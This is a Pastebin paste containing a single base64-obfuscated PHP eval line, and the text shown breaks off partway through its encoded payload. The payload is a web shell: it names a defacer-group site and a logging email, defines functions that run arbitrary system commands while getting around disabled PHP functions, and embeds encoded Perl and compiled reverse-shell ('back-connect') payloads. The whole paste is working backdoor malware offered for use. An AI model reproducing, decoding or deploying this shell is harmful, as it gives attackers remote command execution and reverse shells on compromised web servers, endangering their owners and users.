Advertisement
h0rcux

Untitled

May 31st, 2016
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 229.54 KB | None | 0 0
  1. <?eval(base64_decode('JHNoX2lkID0gIld5QW1aR0ZuWjJWeU95QmRJRk1nUlNCTklGQWdRU0JMSUZzZ0ptUmhaMmRsY2pzZ1hRIjsNCiRzaF9uYW1lID0gYmFzZTY0X2RlY29kZSgkc2hfaWQpOw0KJHNoX21haW51cmwgPSAiaHR0cDovL2luZG9uZXNpYW5kZWZhY2VyLm9yZyI7DQokaHRtbF9zdGFydCA9ICc8aHRtbD48aGVhZD4NCjx0aXRsZT4nLmdldGVudigiIikuJyAgJy4kc2hfbmFtZS4nPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQo8IS0tDQpib2R5LHRhYmxlIHsgZm9udC1mYW1pbHk6dmVyZGFuYTtmb250LXNpemU6MTFweDtjb2xvcjpyZWQ7YmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQ0KdGFibGUgeyB3aWR0aDoxMDAlOyB9DQp0YWJsZSx0ZCB7IGJvcmRlcjoxcHggc29saWQgYmxhY2s7bWFyZ2luLXRvcDoyO21hcmdpbi1ib3R0b206MjtwYWRkaW5nOjVweDsgfQ0KYSB7IGNvbG9yOmxpZ2h0Ymx1ZTt0ZXh0LWRlY29yYXRpb246bm9uZTsgfQ0KYTphY3RpdmUgeyBjb2xvcjojMDBGRjAwOyB9DQphOmxpbmsgeyBjb2xvcjojNUI1QkZGOyB9DQphOmhvdmVyIHsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQ0KYTp2aXNpdGVkIHsgY29sb3I6Izk5Q0NGRjsgfQ0KaW5wdXQsc2VsZWN0LG9wdGlvbiB7IGZvbnQ6OHB0IHRhaG9tYTtjb2xvcjpyZWQ7bWFyZ2luOjI7Ym9yZGVyOjFweCBzb2xpZCBsaW1lOyB9DQp0ZXh0YXJlYSB7IGNvbG9yOmxpbWU7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyOjFweCBzb2xpZCBsaW1lO21hcmdpbjoyOyB9DQouZmxlZnQgeyBmbG9hdDpsZWZ0O3RleHQtYWxpZ246bGVmdDsgfQ0KLmZyaWdodCB7IGZsb2F0OnJpZ2h0O3RleHQtYWxpZ246cmlnaHQ7IH0NCiNwYWdlYmFyIHsgZm9udDo4cHQgdGFob21hO3BhZGRpbmc6NXB4OyBib3JkZXI6M3B4IHNvbGlkIGJsYWNrOyBib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7IH0NCiNwYWdlYmFyIHRkIHsgdmVydGljYWwtYWxpZ246dG9wOyB9DQojcGFnZWJhciBwIHsgZm9udDo4cHQgdGFob21hO30NCiNwYWdlYmFyIGEgeyBmb250LXdlaWdodDpib2xkO2NvbG9yOiMwMEZGMDA7IH0NCiNwYWdlYmFyIGE6dmlzaXRlZCB7IGNvbG9yOiMwMENFMDA7IH0NCiNtYWlubWVudSB7IHRleHQtYWxpZ246Y2VudGVyOyB9DQojbWFpbm1lbnUgYSB7IHRleHQtYWxpZ246IGNlbnRlcjtwYWRkaW5nOiAwcHggNXB4IDBweCA1cHg7IH0NCiNtYWluaW5mbywuYmFyaGVhZGVyLC5iYXJoZWFkZXIyIHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCiNtYWluaW5mbyB0ZCB7IHBhZGRpbmc6M3B4OyB9DQouYmFyaGVhZGVyIHsgZm9udC13ZWlnaHQ6Ym9sZDtwYWRkaW5nOjVweDsgfQ0KLmJhcmhlYWRlcjIgeyBwYWRkaW5nOjVweDtib3JkZXI6MnB4IHNvbGlkIGJsYWNrOyB9DQouY29udGVudHMsLmV4cGxvcmVyIHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCi5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KLm1haW5wYW5lbCB7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtwYWRkaW5nOjVweDsgfQ0KLmJhcmhlYWRlciwubWFpbnBhbmVsIHRhYmxlLHRkIHsgYm9yZGVyOjFweCBzb2xpZCBncmVlbjsgfQ0KLm1haW5wYW5lbCBpbnB1dCxzZWxlY3Qsb3B0aW9uIHsgYm9yZGVyOjFweCBzb2xpZCBibGFjazttYXJnaW46MDsgfQ0KaW5wdXRbdHlwZT0ic3VibWl0Il0geyBib3JkZXI6MXB4IHNvbGlkIGxpbWU7IH0NCmlucHV0W3R5cGU9InRleHQiXSB7IHBhZGRpbmc6M3B4O30NCi5zaGVsbCB7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7Y29sb3I6YmxhY2s7cGFkZGluZzo1cHg7IH0NCi5meGVycm1zZyB7IGNvbG9yOnJlZDsgZm9udC13ZWlnaHQ6Ym9sZDsgfQ0KI3BhZ2ViYXIsI3BhZ2ViYXIgcCxoMSxoMixoMyxoNCxmb3JtIHsgbWFyZ2luOjA7IH0NCiNwYWdlYmFyLC5tYWlucGFuZWwsaW5wdXRbdHlwZT0ic3VibWl0Il0geyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyB9DQouYmFyaGVhZGVyMixpbnB1dCxzZWxlY3Qsb3B0aW9uLGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyIHsgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQ0KdGV4dGFyZWEsLm1haW5wYW5lbCBpbnB1dCxzZWxlY3Qsb3B0aW9uIHsgYmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyB9DQovLyAtLT4NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCic7DQokbG9naW4gPSAiIjsgDQokcGFzcyA9ICIiOw0KJG1kNV9wYXNzID0gIiI7DQokaG9zdF9hbGxvdyA9IGFycmF5KCIqIik7IA0KJGxvZ2luX3R4dCA9ICJwcmlraXR1ZSI7IA0KJGFjY2Vzc2RlbmllZG1lc3MgPSAiPGJvZHkgYmdjb2xvcj1ibGFjaz48YSBocmVmPVwiJHNoX21haW51cmxcIj48Zm9udCBjb2xvcj1saW1lPiIuJHNoX25hbWUuIjwvZm9udD48L2E+OiA8Zm9udCBjb2xvcj1yZWQ+YWNjZXNzIGRlbmllZDwvZm9udD48L2JvZHk+IjsNCiRnemlwZW5jb2RlID0gVFJVRTsNCiRmaWxlc3RlYWx0aCA9IFRSVUU7IA0KJGN1cmRpciA9ICIuLyI7DQokdG1wZGlyID0gIiI7IA0KJHRtcGRpcl9sb2cgPSAiLi8iOw0KJGxvZ19lbWFpbCA9ICJzZXBpa2xhaDc4QGdtYWlsLmNvbSI7IA0KJHNvcnRfZGVmYXVsdCA9ICIwYSI7IA0KJHNvcnRfc2F2ZSA9IFRSVUU7IA0KJHNlc3NfY29va2llID0gImNhcHJpdjh2YXJzIjsgDQokdXNlZnNidWZmID0gVFJVRTsgDQokY29weV91bnNldCA9IEZBTFNFOyANCiRoZXhkdW1wX2xpbmVzID0gODsNCiRoZXhkdW1wX3Jvd3MgPSAyNDsNCiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiI7DQokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCmlmICghZW1wdHkoJGRpc2FibGVmdW5jKSkgew0KICAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2FibGVmdW5jKTsNCiAgJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsNCn0NCmZ1bmN0aW9uIGdldF9waHBpbmkoKSB7DQogIGZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikgew0KICAgICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsNCiAgICByZXR1cm4gQHByZWdfcmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOw0KICB9DQogIGZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKSB7DQogICAgaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KICAgIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsNCiAgICBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KICAgIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KICAgIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBwcmludF9yKCR2YWx1ZSk7DQogICAgICAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgfQ0KICAgIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7DQogIH0NCiAgaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpIHsNCiAgICAkciA9ICIiOw0KICAgIGVjaG8gIjx0YWJsZT48dHIgY2xhc3M9YmFyaGVhZGVyPjx0ZD5EaXJlY3RpdmU8L3RkPjx0ZD5Mb2NhbCBWYWx1ZTwvdGQ+PHRkPkdsb2JhbCBWYWx1ZTwvdGQ+PC90cj4iOw0KICAgIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgJHIgLj0gIjx0cj48dGQ+Ii4ka2V5LiI8L3RkPjx0ZD48ZGl2IGFsaWduPWNlbnRlcj4iLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92YWx1ZSddKS4iPC9kaXY+PC90ZD48dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLiI8L2Rpdj48L3RkPjwvdHI+IjsNCiAgICB9DQogICAgZWNobyAkcjsNCiAgICBlY2hvICI8L3RhYmxlPiI7DQogIH0NCn0NCmZ1bmN0aW9uIGRpc3BfZHJpdmVzKCRjdXJkaXIsJHN1cmwpIHsNCiAgJGxldHRlcnMgPSAiIjsNCiAgJHYgPSBleHBsb2RlKCJcXCIsJGN1cmRpcik7DQogICR2ID0gJHZbMF07DQogIGZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHsNCiAgICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gJGxldHRlciA9PSAiQSI7DQogICAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30NCiAgICBpZiAoJGJvb2wpIHsNCiAgICAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuDQogICAgICAoJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9yIG1heSBvY2N1ci4nKVwiIjoiIikuIj4gWyI7DQogICAgICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30NCiAgICAgIGVsc2UgeyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9DQogICAgICAkbGV0dGVycyAuPSAiXTwvYT4gIjsNCiAgICB9DQogIH0NCiAgaWYgKCFlbXB0eSgkbGV0dGVycykpIHtSZXR1cm4gJGxldHRlcnM7fQ0KICBlbHNlIHtSZXR1cm4gIk5vbmUiO30NCn0NCmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpIHsNCiAgZnVuY3Rpb24gZGlzcF9mcmVlc3BhY2UoJGN1cmRydikgew0KICAgICRmcmVlID0gZGlza19mcmVlX3NwYWNlKCRjdXJkcnYpOw0KICAgICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGN1cmRydik7DQogICAgaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9DQogICAgaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30NCiAgICBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30NCiAgICBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQ0KICAgICR1c2VkID0gJHRvdGFsLSRmcmVlOw0KICAgICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMikuIiUiOw0KICAgICRmcmVlID0gdmlld19zaXplKCRmcmVlKTsNCiAgICAkdG90YWwgPSB2aWV3X3NpemUoJHRvdGFsKTsNCiAgICByZXR1cm4gIiRmcmVlIG9mICR0b3RhbCAoJGZyZWVfcGVyY2VudCkiOw0KICB9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkgew0KICBpZihpc19jYWxsYWJsZSgicG9wZW4iKSkgew0KICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsNCiAgICAgIGlmICghKCRwPXBvcGVuKCIoJGNtZCkyPiYxIiwiciIpKSkgeyByZXR1cm4gInBvcGVuIERpc2FibGVkISI7IH0NCiAgICAgIHdoaWxlICghZmVvZigkcCkpIHsNCiAgICAgICAgJGxpbmU9ZmdldHMoJHAsMTAyNCk7DQogICAgICAgICRvdXQgLj0gJGxpbmU7DQogICAgICB9DQogICAgICBwY2xvc2UoJHApOw0KICAgICAgcmV0dXJuICRvdXQ7DQogICAgfQ0KICB9IGVsc2Ugew0KICAgIGZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpIHsNCiAgICAgIGdsb2JhbCAkZGlzYWJsZWZ1bmM7DQogICAgICAkcmVzdWx0ID0gIiI7DQogICAgICBpZiAoIWVtcHR5KCRjbWQpKSB7DQogICAgICAgIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICBleGVjKCRjbWQsJHJlc3VsdCk7DQogICAgICAgICAgJHJlc3VsdCA9IGpvaW4oIlxuIiwkcmVzdWx0KTsNCiAgICAgICAgfSBlbHNlaWYgKCgkcmVzdWx0ID0gJGNtZCkgIT09IEZBTFNFKSB7DQogICAgICAgIH0gZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7DQogICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2Ow0KICAgICAgICB9IGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjsNCiAgICAgICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpIHsNCiAgICAgICAgICAkcmVzdWx0ID0gIiI7DQogICAgICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAkcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTsgfQ0KICAgICAgICAgIHBjbG9zZSgkZnApOw0KICAgICAgICB9DQogICAgICB9DQogICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICB9DQogIH0NCn0NCmZ1bmN0aW9uIGV4KCRjZmUpIHsNCiAgJHJlcyA9ICcnOw0KICBpZiAoIWVtcHR5KCRjZmUpKSB7DQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsNCiAgICAgIEBleGVjKCRjZmUsJHJlcyk7DQogICAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOw0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQogICAgICAkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBAc3lzdGVtKCRjZmUpOw0KICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgIEBvYl9zdGFydCgpOw0KICAgICAgQHBhc3N0aHJ1KCRjZmUpOw0KICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIEBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KICAgICAgJHJlcyA9ICIiOw0KICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KICAgICAgQHBjbG9zZSgkZik7DQogICAgfSBlbHNlIHsgJHJlcyA9ICJFeCgpIERpc2FibGVkISI7IH0NCiAgfQ0KICByZXR1cm4gJHJlczsNCn0NCmZ1bmN0aW9uIHdoaWNoKCRwcikgew0KICAkcGF0aCA9IGV4KCJ3aGljaCAkcHIiKTsNCiAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiAkcHI7IH0NCn0NCg0KJGhvc3RuYW1lX3ggPSBwaHBfdW5hbWUobik7DQokaXRzaG9tZSA9IGdldGN3ZCgpOw0KDQokTHZlcnNpb24gPSBwaHBfdW5hbWUocik7DQokT1NWID0gcGhwX3VuYW1lKHMpOw0KaWYoZXJlZ2koIkxpbnV4IiwkT1NWKSkgew0KICAkTHZlcnNpb249c3Vic3RyKCRMdmVyc2lvbiwwLDYpOw0KICAkbWlsbGluaz0iaHR0cDovL0luZG9uZXNpYW5kZWZhY2VyLm9yZyAiLiRMdmVyc2lvbjsNCn0gZWxzZSB7DQogICRMdmVyc2lvbj1zdWJzdHIoJEx2ZXJzaW9uLDAsMyk7DQogICRtaWxsaW5rID0iaHR0cDovL0luZG9uZXNpYW5kZWZhY2VyLm9yZyIuJE9TVi4iICIuJEx2ZXJzaW9uOw0KfQ0KDQokYmFja19jb25uZWN0X3BsID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU95YzdEUW9rYzNsemRHVnRNVDBnSjJWamFHOGdJbUJwWkdBaU95YzdEUW9rYzNsemRHVnRNajBnSjJWamFHOGdJbUJ3ZDJSZ0lqc25PdzBLSkhONWMzUmxiVE05SUNkbFkyaHZJQ0pnZDJodllXMXBZRUJnYUc5emRHNWhiV1ZnT240Z1BpSTdKenNOQ2lSemVYTjBaVzAwUFNBbkwySnBiaTl6YUNjN0RRb2tNRDBrWTIxa093MEtKSFJoY21kbGREMGtRVkpIVmxzd1hUc05DaVJ3YjNKMFBTUkJVa2RXV3pGZE93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tkR0Z5WjJWMEtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFva2NHRmtaSEk5YzI5amEyRmtaSEpmYVc0b0pIQnZjblFzSUNScFlXUmtjaWtnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJ5YjNSdlBXZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LVHNOQ25OdlkydGxkQ2hUVDBOTFJWUXNJRkJHWDBsT1JWUXNJRk5QUTB0ZlUxUlNSVUZOTENBa2NISnZkRzhwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DbU52Ym01bFkzUW9VMDlEUzBWVUxDQWtjR0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ205d1pXNG9VMVJFU1U0c0lDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJQVlZRc0lDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lDSStKbE5QUTB0RlZDSXBPdzBLY0hKcGJuUWdJbHh1WEc0Nk9pQjNOR05yTVc1bkxYTm9aV3hzSUNoUWNtbDJZWFJsSUVKMWFXeGtJSFl3TGpNcElISmxkbVZ5YzJVZ2MyaGxiR3dnT2pwY2JseHVJanNOQ25CeWFXNTBJQ0pjYmxONWMzUmxiU0JKYm1adk9pQWlPeUFOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ25CeWFXNTBJQ0pjYmxsdmRYSWdTVVE2SUNJN0lBMEtjM2x6ZEdWdEtDUnplWE4wWlcweEtUc05DbkJ5YVc1MElDSmNia04xY25KbGJuUWdSR2x5WldOMGIzSjVPaUFpT3lBTkNuTjVjM1JsYlNna2MzbHpkR1Z0TWlrN0RRcHdjbWx1ZENBaVhHNGlPdzBLYzNsemRHVnRLQ1J6ZVhOMFpXMHpLVHNnYzNsemRHVnRLQ1J6ZVhOMFpXMDBLVHNOQ21Oc2IzTmxLRk5VUkVsT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQokYmFja19jb25uZWN0X2MgPSAiZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUEySVVFQ0RRQUFBQk1EQUFBQUFBQUFEUUFJQUFIQUNnQUhBQVpBQVlBQUFBMEFBQUFOSUFFQ0RTQUJBamdBQUFBNEFBQUFBVUFBQUFFQUFBQUF3QUFBQlFCQUFBVWdRUUlGSUVFQ0JNQUFBQVRBQUFBQkFBQUFBRUFBQUFCQUFBQUFBQUFBQUNBQkFnQWdBUUlMQWtBQUN3SkFBQUZBQUFBQUJBQUFBRUFBQUFzQ1FBQUxKa0VDQ3laQkFnNEFRQUFQQUVBQUFZQUFBQUFFQUFBQWdBQUFFQUpBQUJBbVFRSVFKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSUlBQUFBQ0FBQUFBRUFBQUFCQUFBQUZIbGRHUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBRUFBQUFMMnhwWWk5c1pDMXNhVzUxZUM1emJ5NHlBQUFFQUFBQUVBQUFBQUVBQUFCSFRsVUFBQUFBQUFJQUFBQUNBQUFBQlFBQUFCRUFBQUFVQUFBQUFBQUFBQUFBQUFBUkFBQUFFZ0FBQUFjQUFBQUtBQUFBQ3dBQUFBZ0FBQUFQQUFBQUF3QUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZBQUFBQmdBQUFBQUFBQUFCQUFBQUFBQUFBQWtBQUFBQUFBQUFEQUFBQUFBQUFBQUFBQUFBRFFBQUFBNEFBQUFDQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJBQUFBQUFBQUFCd0JBQUFTQUFBQXJBQUFBQUFBQUFCeEFBQUFFZ0FBQUR3QUFBQUFBQUFBQ3dJQUFCSUFBQUJJQUFBQUFBQUFBSDBBQUFBU0FBQUFqQUFBQUFBQUFBQ3NBUUFBRWdBQUFLVUFBQUFBQUFBQXJ3QUFBQklBQUFCakFBQUFBQUFBQUNjQUFBQVNBQUFBa3dBQUFBQUFBQURkQUFBQUVnQUFBRU1BQUFBQUFBQUFPZ0FBQUJJQUFBQmNBQUFBQUFBQUFLb0JBQUFTQUFBQVZnQUFBQUFBQUFBMkFBQUFFZ0FBQUhNQUFBQUFBQUFBMlFBQUFCSUFBQUI0QUFBQUFBQUFBQ2dBQUFBU0FBQUFiUUFBQUFBQUFBQU9BQUFBRWdBQUFDNEFBQUFBQUFBQWVBQUFBQklBQUFCOUFBQUE4SWdFQ0FRQUFBQVJBQTRBVHdBQUFBQUFBQUE1QUFBQUVnQUFBQUVBQUFBQUFBQUFBQUFBQUNBQUFBQVZBQUFBQUFBQUFBQUFBQUFnQUFBQUFGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QWJHbGlZeTV6Ynk0MkFHTnZibTVsWTNRQVpYaGxZMndBY0dWeWNtOXlBR1IxY0RJQWMzbHpkR1Z0QUhOdlkydGxkQUJpZW1WeWJ3QnpkSEpqWVhRQWFXNWxkRjloWkdSeUFHaDBiMjV6QUdWNGFYUUFZWFJ2YVFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJrWVdWdGIyNEFYMTlzYVdKalgzTjBZWEowWDIxaGFXNEFjM1J5YkdWdUFHTnNiM05sQUVkTVNVSkRYekl1TUFBQUFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUVBQWdBQUFBQUFBUUFCQUNRQUFBQVFBQUFBQUFBQUFCQnBhUTBBQUFJQXNnQUFBQUFBQUFBSW1nUUlCaE1BQUJpYUJBZ0hBUUFBSEpvRUNBY0NBQUFnbWdRSUJ3TUFBQ1NhQkFnSEJBQUFLSm9FQ0FjRkFBQXNtZ1FJQndZQUFEQ2FCQWdIQndBQU5Kb0VDQWNJQUFBNG1nUUlCd2tBQUR5YUJBZ0hDZ0FBUUpvRUNBY0xBQUJFbWdRSUJ3d0FBRWlhQkFnSERRQUFUSm9FQ0FjT0FBQlFtZ1FJQnc4QUFGU2FCQWdIRVFBQVZZbmxnK3dJNkVFQkFBRG9sQUVBQU9qbkF3QUF5Y01BL3pVUW1nUUkveVVVbWdRSUFBQUFBUDhsR0pvRUNHZ0FBQUFBNmVELy8vLy9KUnlhQkFob0NBQUFBT25RLy8vLy95VWdtZ1FJYUJBQUFBRHB3UC8vLy84bEpKb0VDR2dZQUFBQTZiRC8vLy8vSlNpYUJBaG9JQUFBQU9tZy8vLy8veVVzbWdRSWFDZ0FBQURwa1AvLy8vOGxNSm9FQ0dnd0FBQUE2WUQvLy8vL0pUU2FCQWhvT0FBQUFPbHcvLy8vL3lVNG1nUUlhRUFBQUFEcFlQLy8vLzhsUEpvRUNHaElBQUFBNlZELy8vLy9KVUNhQkFob1VBQUFBT2xBLy8vLy95VkVtZ1FJYUZnQUFBRHBNUC8vLy84bFNKb0VDR2hnQUFBQTZTRC8vLy8vSlV5YUJBaG9hQUFBQU9rUS8vLy8veVZRbWdRSWFIQUFBQURwQVAvLy8vOGxWSm9FQ0doNEFBQUE2ZkQrLy84eDdWNko0WVBrOEZCVVVtaG9pQVFJYUJTSUJBaFJWbWlBaGdRSTZFLy8vLy8wa0pCVmllVlQ2QUFBQUFCYmdjTUhGQUFBVW91RC9QLy8vNFhBZEFMLzBGaGJ5Y09Ra0pCVmllV0Q3QWlBUFdTYUJBZ0FkQS9ySDQxMkFJUEFCS05nbWdRSS85S2hZSm9FQ0lzUWhkSjE2OFlGWkpvRUNBSEp3NG4yVllubGcrd0lvVHlaQkFpRndIUVp1QUFBQUFDRndIUVFnK3dNYUR5WkJBai8wSVBFRUkxMkFNbkRrSkJWaWVWWFZsT0Q3RXlENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRWpYMm92dlNJQkFqOHVRY0FBQUR6cEkxOXIveTVEZ0FBQUxBQTg2cUQ3QWhxQUdvQjZGRCsvLytEeEJCbXgwWElBZ0NEN0F5TFJReUR3QWovTU9pMy92Ly9nOFFRRDdmQWcrd01VT2k0L3YvL2c4UVFab2xGeW9Qc0RJdEZESVBBQlA4dzZESCsvLytEeEJDSlJjeUQ3QWlMUlF5RHdBU0Q3QVQvTU9nSS92Ly9nOFFJaWNPTFJReUR3QWlEN0FUL01PanovZi8vZzhRSWpRUURRRkNMUlF5RHdBVC9NT2d1L3YvL2c4UVFnK3dFYWdacUFXb0M2RzMrLy8rRHhCQ0pSZVNEN0FScUVJMUZ5RkQvZGVUb1J2Ny8vNFBFRUlYQWVScUQ3QXhvQ1lrRUNPaHkvZi8vZzhRUWcrd01hZ0RvOWYzLy80UHNDSXRGRFA4d2pVV29VT2pFL2YvL2c4UVFnK3dNalVXb1VPaFYvZi8vZzhRUWcrd0lhZ0QvZGVUb2xmMy8vNFBFRUlQc0NHb0IvM1hrNklYOS8vK0R4QkNEN0FocUF2OTE1T2gxL2YvL2c4UVFnK3dFYWdCb0Y0a0VDR2dkaVFRSTZONzgvL